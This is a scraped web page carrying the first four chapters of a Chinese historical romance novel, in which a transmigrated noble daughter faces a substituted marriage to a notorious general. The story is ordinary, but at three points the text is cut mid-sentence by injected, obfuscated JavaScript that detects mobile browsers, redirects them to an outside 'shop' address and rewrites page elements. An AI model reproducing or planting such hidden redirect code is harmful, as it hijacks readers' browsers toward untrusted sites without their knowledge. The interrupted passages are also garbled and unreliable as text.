《伯府弃女被迫替嫁后》 1. 第 1 章 八月十六,荣安伯府。 昨日皇后赐宴,京中贵女们应邀进宫,伯府的两位小姐也在其列,故而本该昨日吃的团圆宴延迟了一日。 伯府大小姐昨日在宫中的马球竞赛中拿了头彩,后妃称赞,皇后赐赏,燕老太爷深觉得了脸面。 他喜不自胜,大手一挥,给全府下人都赏了席面。 所以今日伯府上下喜气洋洋。 伯府祖上出过一位皇后,很是辉煌过一阵,爵位也因此而来。 可惜后辈不争气,这些年是一年比一年落魄了。 燕老太爷有两个儿子,二儿子燕长瑞乃发妻所出,大儿子燕长鸿是后头那位侍妾扶正的伯夫人所出。 两人都过了而立之年,却都没能袭爵,‘荣安伯’这爵位还是在燕老太爷头上。 前年燕老太爷奏请朝廷,想让长子袭爵,可惜奏疏递上去后便没了音讯,他找了吏部的官员问,也没问出个所以然。 吏部的人含糊其辞,燕老太爷料想是皇帝的意思。 伯府出的那位皇后是太祖皇帝那会儿的事儿了,当时的太祖皇帝意气风发,一气儿封赏了不少人,眼下这位却不喜宗室壮大,这几年有意削减爵位。 燕老太爷年近花甲,这几年身体每况愈下,倘若他死后子孙仍未能袭爵,这伯府爵位即便不丢,只怕也要降一降。 伯府没能出个栋梁之才,也不受皇帝待见,眼下衰败之势十分明显,他忧心如焚。 好在天无绝人之路,伯府男子庸碌无为,女子这头却出了个天大的惊喜。 荣安伯府有两位小姐,大的叫‘燕云姚’,是大老爷燕长鸿的女儿;小的叫‘燕云悠’,是二老爷燕长瑞的女儿。 燕云姚今年十八,可谓是天姿国色,昨日在宫中大出风头的便是她; 燕云悠虽不及她堂姐,但也杏脸桃腮,娇俏可人。 有先辈的经验的在前头,伯府对两位小姐期望颇深,自然也不吝惜培养。这堂姐妹两从小便与她们兄弟一起念书,君子六艺一样没落下。 燕云悠资质平平,虽老老实实不曾偷懒,却也没学出什么花样。 燕云姚却不同,她诗书礼乐样样皆通,将其余兄弟姊妹都比了下去,几个夫子提起她来,赞不绝口。 伯府的‘惊喜’,说的就是她。 她祖父和父亲如获至宝,特意找了老道为她批命。 这一算不得了,那老道说燕云姚命格尊贵,有母仪天下之相。又说燕老太爷的福气在后头,因为伯府将来还会出一位皇后! 至此,燕云姚在伯府的地位一跃而上,成了燕老太爷最看重的子孙。 这几年燕云姚在京里崭露头角,与翰林院学士之女沈华芝并称‘京都双姝’,过来求亲的人几乎要将伯府的门槛踩断,其中不乏世家公子。 不过燕老太爷心中早有计较,他和燕云姚的父亲,都盼着燕云姚能带伯府走出低迷,重现当年的辉煌。 燕云姚也确实有这个势头,昨日的宫中宴会,似乎又让她离这个目标更近了一步。 不怪燕老太爷和她爹娘喜出望外。 * 主子得脸下头的人也有好处,东厨的厨娘、伙夫们忙得热火朝天,脸上却还带着笑。 然而,一片祥和的气氛被两道争执的声音打破。 ——灶间,两个小丫头因为一盅莲房鱼包僵持不下。 圆脸小丫头气红了眼睛:“这盅莲房鱼包是我特意让厨娘留的,我们小姐还未用早食,就等着这莲房鱼包呢!” 容长脸的丫头叉着腰,语气轻蔑:“这可不是你们小厨房,大公子要吃一盅莲房鱼包还得先紧着你们小姐,府里有这样的规矩?再说了,哪家正经小姐睡到这个时辰才起来用早食,莫不是故意与大公子抢?” 圆脸小丫头气得发抖:“我们小姐也是你能编排的?” “莫要污蔑人,我只说你这小丫头故意生事,何时编排二小姐了……” 两人僵持不下,灶房里一干厨子伙夫噤若寒蝉。即便知道圆脸小丫头占理,也没人敢出声为她说话。 圆脸小丫头叫‘幼梨’,是二小姐燕云悠的丫鬟,容长脸的丫头叫‘朱儿’,是大公子燕从远的侍女。 燕从远是大老爷的儿子,也是燕云姚的哥哥。燕云悠是二老爷的女儿,她上面同样有个哥哥。 燕老太爷偏心,两个儿子积怨已久,他们的孩子关系自然也好不到哪儿去。 朱儿抢幼梨定下的吃食还是第一回,但长房的人欺负二房的下人早有前科。 两人又争了几句,最后朱儿两手一摊:“你若气不过,不如我们去请夫人做主?” 伯府后院如今由大夫人操持,朱儿有恃无恐,因为大夫人就是她们少爷的亲娘。 幼梨知道争不过,跺了下脚提着空篮子回去了。 * 燕云悠睡到日上三竿,醒来后听说大厨房做了莲房鱼包,她屋里的丫鬟猜想她爱吃,已经让人留了。 便慢悠悠地吃着小厨房的早食,等着加餐。 没想到等了一会儿,却见去端莲房鱼包的幼梨眼泪汪汪地回来了。 “小姐,大公子身边的朱儿把咱们嘱咐厨娘留的莲房鱼包抢了!”幼梨既气愤又委屈,“他们为何这般蛮横无理!” 一碗菜也要抢?燕云悠愣了一下,接着磨了磨牙,心道,燕从远这辈子也就这点儿出息了。 朱儿一个小丫鬟何必冒险得罪她?自是因为燕从远爱看这一出。 小肚鸡肠的蠢货! 难怪外头人人只知燕云姚,却不知荣安伯府还有个燕从远,就连她和燕从己这对‘草包兄妹’都比燕从远有存在感。 一旁侯着的幼萍面露愧色:“怪我,早上应当把那莲房鱼包端回来,让小厨房的厨娘帮忙炖的。” 燕云悠回过神来,摆了摆手:“罢了,他要吃便给他。”撑不死他! 幼萍和幼梨都是从小跟在燕云悠身边伺候的丫头,自然是与她一条心。此时既气愤朱儿狗仗人势欺负人,又愧疚自己没办好差事,还有些心疼燕云悠没吃上那口莲房鱼包。 燕云悠也有些生气,她倒不是非要吃那一盅莲房鱼包,只是瞧不上燕从远那副作派。 不过事已至此,生气无益。 “莫气莫气,一盅莲房鱼包罢了!”燕云悠对着两个丫头眨了眨眼睛,“我让江嬷嬷给你们银子,明日你们自个儿做了端去那朱儿、翠儿面前吃,叫她们好好瞧!” 她们二房不得势,但有钱啊! 幼梨被哄得破涕为笑,幼萍也心里一暖。 长房势大,她们二房的下人少不了受欺负,当差时,时有被阻挠。好在主子宽厚,处处体谅她们,从不因此怪罪。 * 今日要与祖父和长房的人一起吃午饭,燕云悠吃完朝食略做休整,便去了她爹娘那儿。 走到汀兰苑门口正好遇见哥哥燕从己,燕云悠面上一喜,正要过去同他说大堂兄做的蠢事,他却抢先开口。 “昨日进宫可丢了丑?”燕从己一脸促狭。 燕云悠气恼:“我又不似你,射个箭能射到别人靶子上,我从不丢丑!” “那作打油诗闹笑话的是哪个?” 屋子里坐着的妇人只听见兄妹两人斗嘴,却不见人进来,一时又气又笑:“老远就听见你们兄妹吵嚷,还不快进来!” 燕云悠哼了一声,撞开她哥哥往屋里走。 燕从己表情夸张地捂住胸口,踉跄两步:“不得了,有人说不过要谋杀亲哥了!” 方才还气鼓鼓的燕云悠没忍住,一下笑了。 十五六岁的小姑娘,脸颊圆润,眸光清澈,笑起来略带几分娇憨,卢蔓芳看着心里软乎乎的,面上也带了笑。 “可是昨日累着了,江嬷嬷说你巳时末才起?” “是呢!”燕云悠点点头,一副老气横秋的语气,“宫里的饭也不是那么好吃的……” 卢蔓芳和燕从己被她逗得直笑,又细细问起昨日的情况。 燕云悠如实说来:“同外头的宴会也没什么区别,总归还是那些花样,就是不比外头自在。初时玩了一会儿飞花令,后头皇后娘娘又点了堂姐她们和几个皇子一起打马球,我未上场……” 母子两都担心她在宫里受委屈,听说没出什么岔子,才放心下来。 燕从己思索了一会儿:“难怪长房欢天喜地,燕云姚昨日出了那么大的风头,难不成真能嫁入皇室?” 卢蔓芳神色淡淡的:“娘如今只愿你们兄妹都安稳无事,长房要怎么样都随她们吧,咱们避着些便是。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315195|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 燕云悠和燕从己异口同声地叹了口气,面上都有些心虚。 卢蔓芳这话,要搁在以前,燕云悠是不赞同的。 旁人要欺负你,一味躲避算什么事儿?可如今,她也不敢再说什么大话了。 * 燕云悠的祖母原是佥都御史之女,当初燕老太爷八抬大轿将她娶进门,谁也没想到,燕老太爷已经和身边的丫鬟生了一个孩子了。 燕老太爷瞒得好,燕云悠的祖母直到生下孩子后才知道此事。 她生产时九死一生,身子本就受了损伤,陡然得知一直琴瑟和鸣的丈夫早有异心,还准备将那丫鬟抬做姨娘,一时受不了打击,从此一病不起。 燕云悠她爹八岁便没了娘。 不到半年,燕老太爷又将那位姨娘扶正,做了伯夫人。 伯府嫡长子突然换了个人,燕云悠她爹没了娘,还多了个压了他一头的哥哥,怎能不恨? 不过他性子憨直,确实不是他那哥哥的对手。 这些年,伯府的一切都先紧着长房。燕老太爷那爵位之所以拖到前年才奏请朝廷让下一辈袭爵,也是因为袭爵的人没定下来。 两房僵持不下,谁都不肯相让。燕老太爷属意长子,燕家太祖母却坚持要将爵位给燕云悠她爹。 后来太祖母过世,燕云姚在京都暂露头角,又得了那道人批命,长房渐渐压过了二房,才终于定下,让燕长鸿袭爵。 若不是皇帝没批,这会儿‘荣安伯’已经换了个人了。 燕云悠是穿越过来的,从她娘肚子里出来就知事了,还带着上辈子的记忆。虽然上辈子也只活到十七岁便死了,但好歹也是个穿越者。 她爹娘感情极好,对唯一的女儿也十分疼爱,所以燕云悠从小便下定决心,要替她爹娘争口气,将燕从远和燕云姚都比下去。 她憋着一股劲儿,后头进了族学,便格外用功,还举着一根小竹鞭,监督起了自家性子懒散的哥哥。 兄妹两个每日破晓时分便起来念书,赶在所有堂哥堂姐之前去学堂,下午下了学晚上继续用功,互相考校功课,直到亥时末才肯歇息。 如此起早贪黑,坚持了五六日,实在是扛不住了。两一人顶着一对青黑眼眶,到了学堂一个比一个睡得香。 燕云悠上辈子因心脏病而死,这辈子身子骨也不怎么结实,从小便爱生病,瞧着比同龄人都小些。 因着这份‘刻苦’,又病了一场,她娘心疼坏了,将她哥哥好一顿骂,又让下人监督她不许胡来。 燕云悠自个儿也知道错了,后来仍旧勤勉好学,但不再这般急于求成。 她占着穿越的优势,又努力,在族学也算出挑。无论是亲哥哥燕从己,还是堂兄燕从远,再或是旁枝的那些孩子都比不过她。 可惜燕家还有个燕云姚。 燕云姚的资质远非常人可比,在伯府族学鹤立鸡群。 如果说燕云悠是鸭群里最优秀的那只小鸭,那燕云姚就是天鹅,和燕云悠比她更像是穿越的那个。 即便燕云悠疯狂扑腾翅膀,仍是比不过。 实在是气人。 好在燕云悠还有别的优势。 卢蔓芳是商家女,娘家生意做得十分不错,还未出嫁时也一直帮燕云悠外祖料理店铺,肚里自带一本生意经。 她嫁到伯府还带了两个铺面的嫁妆,嫁进来没几年就被长房占了一个,剩下的一个便拿来教女儿了。 燕云悠在买卖之事上也有些天赋,加上好学,还有现代带来的知识,这铺面在她手上经营得有声有色。 虽瞧着不起眼,但这些年攒下的银子养她们二房几辈子都够了。 燕云悠也想开了,斗不过就躲吧。长房父子俩心胸狭隘,哪日真得了势,定是容不下她们二房的,不如早些另寻去路。 卢蔓芳给她谋划好了,她以后就嫁外祖家那位表哥。 伯府再不重视,她也是官家小姐,去了外祖家,那就是能作威作福的土皇帝! 万一表哥不识好歹,她爹和哥哥轻易便能收拾了。 表哥生得俊俏,性子温柔,嫁给他燕云悠是愿意的。 她想好了,婚后好好将买卖做大,伺机将爹娘哥哥接出伯府,再离开京都,外头海阔天高,自有她们的快活日子。 2. 第 2 章 母子三人说了会儿话,外出办事的燕长瑞也回来了。 伯府恩荫的官职被燕长鸿占了,燕长瑞及冠后,家里给他捐了个散官,并无实职,不用上值。 一家人一起往燕老太爷院里走,到那儿时,长房的人已经到了一会儿了。 长房夫妻两在里间同燕老太爷说话,燕云姚和燕从远在外间侯着。 燕云悠看到堂兄,想起了上午的事儿,心头一动。 她背着手慢悠悠走到燕从远面前,探着头问:“堂兄很爱吃莲房鱼包?” 燕从远先是了然一笑,接着又露出些警惕:“你问这个做什么?” “堂兄若是爱吃,我明日再给堂兄送些~”燕云悠笑得一脸无辜,“我月事不顺,在那盅莲房鱼包里加了调理月事的药材,堂兄也有这毛病怎么不早说,不然我早就给堂兄送去了!” “你!你放了什么药材?”燕从远气急败坏,“你故意的是不是?” 他的手捂着嘴,表情十分难受,似乎有点儿想吐。 “噗嗤!”紧跟着妹妹的燕从己笑出声来,“悠儿真是不懂事,堂兄有这毛病定是羞于启齿,不然也不会同你抢一盅莲房鱼包了,你怎么还问?” 他和燕云悠说话,目光却居高临下的在燕从远身上打量。 燕从远惊疑不定,还要说话,又被燕云姚打断了。 “你缺那一盅莲房鱼包?” 燕云姚看着她哥哥,像看一个不知事的傻子一般,无法理解又满是不齿,刺得燕从远额头青筋直跳。 “拿了云悠的东西加倍还回去,不要让我说第二遍。”燕云姚语气冰冷。 燕从远攥着拳头,咬牙切齿,半晌没说话。最后深吸一口气,转头看向燕云悠: “想必是下人拿错了,明日我让人买了还你。” “那多麻烦!”燕云悠扭身在他对面坐下,伸出一只手,手指飞速舞动,做数钱状,“给银子不就好了!” 燕从远看着那只白嫩的小手,只觉得脑瓜子嗡嗡的,但燕云姚的目光如有实质,他不得不点头:“好。” 他咬牙解下钱袋,打开一瞧,里头两块约莫一两的碎银子,一张十两、一张五十两的银票。 燕云悠瞟了一眼,摆了摆手:“哎呀,不用全给,五十两就够啦!” 一副体贴大方的语气。 莲房鱼包也就吃个新鲜,食材不多贵,十两都用不了,更何况五十两? 燕从远不想给,又抹不开面子,正犹豫着,他祖父和爹娘从里间出来了。 “拿银子做什么?”燕老太爷疑惑地问。 燕从远心里一紧,着急忙慌地起身,将那张五十两的银票塞到燕云悠手里。 “前些日子挣了点儿银子,给云悠妹妹买果子吃!”他硬着头皮说完,对着燕老太爷干笑。 “不错,都是一家人,就该如此!”燕老太爷难得对他露出几分赞赏。 长房夫妻目露疑色,显然是不信的,但当着燕老太爷的面,都没多话。 卢蔓芳和燕长瑞从头看到尾,初时还有些生气燕从远连一盅菜都要抢燕云悠的,后头也看笑了,此时但笑不语。 正好饭厅准备好了,下人过来请她们过去用饭,大家便移步饭厅。 * 燕老太爷今日心情大好,席上又说起昨日燕云悠姐妹两进宫之事,将燕云姚夸了又夸。 又对着燕云悠道:“云悠平日里多与你堂姐请教请教,你那马球技艺若能精进一二,下回再有这样的机会,也能为我伯府争光。” 燕云悠左耳进右耳出,乖巧地点头。 其实她投壶、蹴鞠都会,虽不算出挑,但也还过得去,只马球实在拿不出手。 因为她不太敢骑马,更不敢在马上打球。 她都穿越了,对于某些东西是不敢不信。当年说燕云姚有皇后命格的那位道士给她也算了一卦,说她可能活不过十八岁。 真是人比人,气死人。 燕云悠这些年一直很小心,就怕被那道士说中。 她前世就是个短命鬼,这辈子想多活几年。 前世她也生在一个十分和睦的家庭,虽然身体太差,没有办法过正常人的生活,但爹娘疼爱,还有个极好的妹妹。 死时她万分不舍,但也有一点儿高兴。 她的家人终于不用再被她的病痛折磨了,一直有点儿被忽视的妹妹也终于可以享受完整的父爱和母爱了。 爸妈都还年轻,没有她,一定可以过上更好的生活。 可惜她重活一世,依然没能拥有一副完全健康的身体。 好在这些年一直细心养着,没生什么大病。 那道士说的是‘可能’活不过十八,不是一定,燕云悠想着只要避开那些有风险之事,她活过十八岁的希望还是挺大的。 为了给伯府争光练马球?她才不要! * 不止燕老太爷心情好,今日长房夫妻两也格外高兴,吃饭时轮番给燕云姚夹菜,看女儿的眼神满是骄傲。 燕云姚昨日在宫里的表现被翻来覆去地问。 与哪个皇子一队,说了什么话,进了几个球……,就连骑的什么马都得问个明白。 燕云姚记不清的,还要燕云悠来补充。 吃到一半,下人匆匆进来。 燕老太爷正情绪高涨地同孙女儿说话,被打断了还有些不高兴,一听是皇上召见,顿时乐开了花儿。 “昨日你们才从宫中回来,今日圣上便传我入宫,定是……” 当着下人,不好说得太明白,燕老太爷和长子对视一眼,俱是一副心领神会的笑。 昨日同燕云姚一起玩马球的皇子,有两位已至婚龄,还未娶妃,皇后突然邀京中贵女进宫,便有人猜到是为皇子们相看。 燕老太爷好久没进过宫了,昨日燕云姚得了皇后和后妃青眼,今日皇帝便召见,多半是为此事。 燕云姚今年十八了,伯府一直没给她订亲,总算等到了。 燕老太爷欣喜欲狂,忙不迭回房更衣,准备进宫面圣。 长房一家也没心思吃饭了,燕老太爷走后,燕长鸿夫妻立刻带着一双儿女回去了。 * 燕长瑞和卢蔓芳心事重重,食不知味。 回到汀兰苑后,燕长瑞恨恨地开口:“倘若燕云姚真做了皇子妃,大哥还不骑到咱们头上去?袭爵之事咱们莫想了,这伯府只怕容不下咱们一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315196|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家了!” 说到‘大哥’二字,燕长瑞语气别扭,他是真不愿认这个大哥。 卢蔓芳颔首:“先是我的嫁妆,你的爵位,接着是悠儿、从己的名声,大哥这些年是越来越不留情面了。还有从远,一直同悠儿、从己做对,即便十回里头有八回讨不着好,依然乐此不疲,云姚当了皇子妃,他们只会更过分。” 燕长鸿本事不大,心眼不少,二房这些年在他手上吃了不少哑巴亏。 “悠儿的亲事就按你说的办吧,明日你就回娘家和娘、大哥大嫂她们将亲事定下来。”燕长瑞叹了口气,“悠儿身子不好,不能冒险,还是早些嫁出去吧。” 燕云悠只有一个舅舅,她舅舅有两个儿子,小儿子卢望才十岁,大儿子魏轩临今年刚及冠。 魏轩临是收养的,与卢家没有血缘关系,也没有改姓。 卢蔓芳给女儿选的夫婿就是他。 魏轩临母亲早亡,父亲与卢蔓芳的哥哥是结义兄弟,当年一起做买卖,走商时为救卢蔓芳的哥哥受了重伤,不治身亡。 卢家在他丧父后收养了他,这些年一直当亲儿孙教养。 他性情温和,风度翩翩,去岁还考中了举人,家里十分看重。 燕长瑞原先不甘心,觉得燕云姚都敢在皇子里头挑了,他女儿不说嫁入皇室,嫁个公侯勋卫总行吧? 但卢蔓芳不愿意。 伯府式微,要高嫁并非易事,燕云姚那条路也并非寻常人能走。 嫁入高门固然光鲜,可里头的心酸旁人不知,卢蔓芳这些年是深有体会。 远的不说,就说这伯府。 伯府大夫人姜念珍是礼部尚书的嫡此女,燕长鸿这些年一直靠岳家帮扶,表面上这两人举案齐眉,相敬如宾,实际上燕长鸿养在外头的姨娘,孩子都生了好几个了; 燕长瑞倒算是正人君子,只娶了她一个,待她一心一意,但她仍有委曲求全的时候。 燕云悠性子单纯,身子娇弱,卢蔓芳不愿女儿吃这个苦。 她对那道士的话耿耿于怀,只想燕云悠嫁得越近越好,最好就在她眼皮子底下。 “我明日一早就回。轩临是个好的,知根知底,又有我娘和哥嫂盯着,悠儿嫁给他我才放心。不过,我们也该早做打算。”卢蔓芳玩笑道,“悠儿说等她嫁到她外祖家,就伺机接我们出去,让咱们跟着她过呢。” 燕长瑞心头一软,憨笑着道:“净说些孩子话,哪有爹娘兄弟跟着出嫁的女儿的。” 他不是个有城府的,此时却不得不慎重其事地为自己和家人谋划: “我想着我们主动相让,搬出府去,这样不至于和长房彻底撕破脸,也能让父亲记住对咱们的亏欠。倘若大哥一家仍是不依不饶,抑或是悠儿、从己在外头遇到了难处,只要父亲还在,总会帮扶一二。” “我晓得。”卢蔓芳看向丈夫,“只是委屈你了,这伯府本该是你的家,如今却要你一退再退。” 燕长瑞眼睛发涩,他轻舒了一口气,抱住妻子:“只要咱们一家都好好的就够了。悠儿争气,咱们如今有钱,搬出伯府也不愁没地儿去。至于从己,出去后再给他另寻个书院,往后能不能有个好前程就看他自己的造化了。” 3. 第 3 章 两房都牵挂着燕老太爷进宫之事,下午都未出门。 等了两个时辰,燕老太爷才回来,一到家便将两个儿子都叫了去。 燕云悠被卢蔓芳叫到汀兰苑商议她的婚事,见爹爹被祖父叫走,心里不免好奇。 “怎么爹也要去?” 长房的事,从不让她爹插手。难道皇上让她祖父进宫,不是为燕云姚的婚事? “许是还有旁的事……”卢蔓芳心神不定,她看了女儿一眼,似乎想到了什么,一把抓住女儿的手,“悠儿,你昨日可有被哪位皇子、娘娘注意到?” 在卢蔓芳眼里,燕云悠一点儿不比燕云姚差,若是她女儿也被哪位皇子相中可就不好了! 燕云悠明白她娘的意思:“我昨日未曾引起旁人注意,倒有个年轻公子与我说了话,但他穿的不是皇子衣裳。” 卢蔓芳焦急:“那是何人,同你说了什么?” “不知何人,”燕云悠摇了摇头,“他让我站远些,莫挡着路。” “……”卢蔓芳一时无言,她抚了抚胸口,“许是宫中侍卫。” 燕云悠点点头。 当时燕云姚下马休整,一下没站稳,燕云悠不自觉起身去扶,燕云姚朝她道谢,她心里不自在,一时没注意挡了路。 那男人身量极高,剑眉星目,气度不凡,就是太凶了,让她不敢细瞧。 除了这人,还真没谁注意到她。 圣上和皇后有意借宫宴为皇子们选妃的之事他们二房也知道,燕云悠昨日特意挑了一身不起眼的衣裳,打扮也十分素净,就是怕被宫里那些人盯上。 君子不立危墙之下,她爱财也爱权,但当什么皇子妃就算了。 燕云悠有自知之明,即便活了两世,她也不是做皇妃的料子。昨日那群小姐里随便挑几个,都比她玲珑剔透。 她被家人保护得太好了,对付一下燕从远那样的蠢货还行,真到了宫里,怕是死得比上辈子还要早。 况且,人家皇子不可能只娶一个。 她爱干净,怕生病,不喜欢别人动她的东西。 * 母女儿两悬着心等了一会儿,燕长瑞总算回来了。 “爹和大哥都猜错了,”不等妻子和女儿开口问,燕长瑞便低声道,“皇后昨日是在给容将军选妻。” “容将军?”卢蔓芳瞪大了眼睛,“容寻?!” “是。陛下将爹叫去,问了云姚,想来是有意将云姚许给容将军。” 燕云悠和卢蔓芳同时出声: “堂姐要嫁给那个煞神?!” “大哥他们能愿意?” 燕长瑞摇了摇头:“方才大哥情急之下说漏了嘴,原来云姚早就被六皇子相中了,他们昨日那般高兴,原是因为六皇子承诺会求他母妃说服陛下,让他娶云姚。昨日六皇子母妃夸赞,皇后赐赏,大哥以为事情已成,谁知这场宫宴竟是为容将军办的!” 他面色不好:“刚才爹又问了悠儿的亲事,就怕……” 燕长瑞看了女儿一眼,语气恼恨:“就怕他舍不得六皇子这门好亲事,想拿咱们女儿顶替云姚嫁给容寻!” 燕云悠懵了,卢蔓芳又气又急:“同样是他的孙女儿,他怎能这样对悠儿?!” “莫急,”燕长瑞拍了拍妻子的肩膀,“我方才同爹说悠儿已和魏轩临交换庚帖,过几日岳家便会派人来下聘,他应当已经打消念头。况且陛下是个说一不二的性子,容寻也不是那好相与的,爹的主意没什么成算。” 燕长瑞轻咳两声,表情微妙:“咳,再说,咱们悠儿名声在外,他们稍一问就知道,定不会同意。” “……”燕云悠语气幽幽,“所以当初大伯和伯娘故意坏我名声,反倒帮了我?” 和燕云姚一样,燕云悠在京都也是有些名气的。 ——她和燕从己是京都出了名的‘草包兄妹’。 那年燕云悠刚在族学学了作诗,正是兴头足的时候。正经诗词她作不出来,打油诗倒是一个接一个地往外冒。 有一回燕从远在学堂里捉弄燕从己不成,反倒自己出了糗。燕云悠诗兴大发,连着写了好几首打油诗笑话他。 燕从远气哭了,当日晚饭都没吃,把自己关在屋里砸东西。 燕长鸿夫妻知道后,联手给燕云悠做了个局,将她在学堂里作的一首打油诗传了出去。 那时容寻刚打了胜仗回来,还是东禹的少年英雄,族学的夫子布置了作业,让学生们写诗赞扬他。 燕云悠是这样写的: 大风起兮云飞扬, 容大将军猛如狼。 西戎贼子再猖狂, 见了将军都喊娘。 和燕云悠这首诗一起传出去的,还有燕云姚的诗——同样的主题,但格律工整,意境高雅,被夫子夸赞了好多回的那首。 从此,燕云悠便有了‘草包美人’的名号,燕云姚的才女名声也愈发响亮。 此后不久,燕从己在一场宴会上和一群公子哥儿比射箭,结果一箭射出去正中人家靶心,步了他妹妹的后尘。 再加上一些添油加醋的传闻,兄妹两便一起成了京都有名的‘草包兄妹’。 * 以眼下的形势来看,燕云悠暂时是安全的,应当高兴才是。可她手撑着脑袋,表情恹恹。 因为燕长鸿夫妻和燕从远做的那些糟心事,她恨屋及乌,也不喜欢燕云姚。 即便如此,也不想看到燕云姚嫁给容寻那样的人。 容寻,东禹赫赫有名的战神,当今圣上亲封的‘定远将军’。十七岁单枪匹马斩杀敌国大将,十九岁率五千精兵破敌方三万大军,在那场和西戎的战争中,让东禹转败为胜。 他的威名,东禹无人不知,无人不晓。 起初,他是东禹无数闺中女儿心中的少年英雄,可后来,他成了京都贵女避如蛇蝎的存在。 容寻先后定过两次亲,两次的对象都是名门望族。 第一位是东阳郡主,这位小郡主是靖宁王的掌上明珠。她性子活泼,当初对容寻一见倾心,央着她父亲去找陛下赐婚。 靖宁王是当今圣上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315197|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的亲叔叔,今上能登基,靖宁王也有一份功劳。亲叔叔求到头上,皇帝是准备应允的。 谁知后头容寻当着东阳郡主的面,杀了郡主养了十几年的爱宠。 他徒手将那条昆仑犬的脖子拧断,扔到东阳郡主面前,郡主当时就被吓晕了。 东阳郡主大病一场,康复后性情大变,原先英姿飒爽的小姑娘变得疑神疑鬼,胆小怯弱。见了容寻更是恍如惊弓之鸟,容寻稍一动作,她便吓得发抖。 有人说容寻多半不只杀了东阳郡主的狗,还对郡主动手了,不然郡主不至于吓成这样。 不论真相如何,总之,两人的婚事是不了了之了。 此事过后,容寻的名声就传了出去,但还有人不信邪,这人就是翰林院学士之女,与燕云姚并称‘京都双姝’的沈华芝。 去年春末,容寻凯旋归来,京都百姓夹道欢迎,沈华芝在众目睽睽之下给他抛了个香囊。 当日扔鲜花手帕的百姓甚多,莫说姑娘,便是男子也有羞羞答答写情诗的,沈华芝的香囊夹在其中不算出格。 宣武帝尚武,东禹民风开放,女子主动追求喜欢的男子不仅不会有人笑话,还要被赞一声好气魄。 沈华芝毕竟是京都双姝之一,自古英雄美人的故事最引人向往,很快京中便传出消息,说容寻和沈华芝好事将近。 沈家似乎也乐见其成,不过因为先前东阳郡主的事儿,有些不放心,便特意派人去容寻驻守的北境打探。 谁知这一探便探出了许多不为人知之事。 容寻还未娶亲,但他北境那宅子里住了好几个身份不明的妇人,听说还有几个孩子。要说不是他的,谁信呢? 在北境荒淫无度,回京后也不曾收敛,甚至堂而皇之将青楼女子带回家,那女子如今还在他的将军府住着。 不止如此,他府上许多下人都缺胳膊少腿,有人亲眼目睹一个被打折手脚的人从他府里被扔出来…… 沈家心生迟疑,不久又有言官参容寻嗜杀成性,坑杀西戎两万俘虏。 联想到先前东阳郡主之事,有人推测容寻是在战场上待久了,心里出了问题,控制不住对身边人动手。 沈家这下是彻底熄了将沈华芝嫁给容寻的心思。 他两的婚事传得有鼻子有眼,却突然没了下闻,外头自然免不了有人探听。为了维护沈华芝的名声,沈家悄悄将打探到的消息一股脑儿放了出去。 至此,容寻盛名不再。 当初有多受追捧,后来就多受唾弃,他如今毁誉参半,但绝不再是京都贵女心中的良人。 燕云姚嫁给他,实在是糟蹋了。 燕云悠心里烦闷,只恨要嫁的不是燕从远。 一向厌烦长房卢蔓芳也叹了口气。 后头来的燕从己倒是没想那么多,还有些幸灾乐祸。 “大伯机关算尽,结果硬生生把燕云姚送到容寻那煞神面前,可真是大快人心!长房这会儿怕是眼睛都要哭瞎了,还好我妹妹机灵,不像燕云姚爱出风头,不然眼下该哭的便是咱们了!” 4. 第 4 章 另一头,燕老太爷院里。 燕长鸿如丧考妣,但仍不肯死心: “爹,真的一点儿转圜余地都没有了吗?云姚差一点儿就能嫁给六皇子了啊!道长的话您还记得吗,云姚命格尊贵,她是要做皇后的人,咱们燕家全部的希望都寄托在她身上了啊!让她嫁给容寻,您真的甘心?!” “不甘心又如何?”燕老太爷表情颓唐,他看着长子,“方才你弟弟在,我没说,我同圣上推举了云悠,想让她顶替云姚嫁给容寻,可圣上没应。” 让燕云悠顶替他女儿,这主意好啊!燕长鸿激动地上前一步。 “爹,您是如何同圣上说的,他为何不应?” 燕老太爷目光倏然放空,他想起当时的场景,面色怅然。 当时皇帝问起燕云姚,燕老太爷心中暗喜,只以为是为皇子们问的,遂变着法儿地夸赞自家孙女儿,又委婉地暗示皇帝,燕云姚还未定亲。 谁料皇帝话头一转,说定远将军容寻也到了该成亲的年纪,可惜这几年一直为东禹守卫疆土,未能成家。 燕老太爷这才发觉不对,可为时已晚。 “容寻年少有为,乃我东禹之栋梁。贵千金知书达礼,花容月貌。依朕看,这二人皆是人中龙凤,十分般配。” 宣武帝表情愉悦,这架势显然是要赐婚。 燕老太爷汗都急出来了。 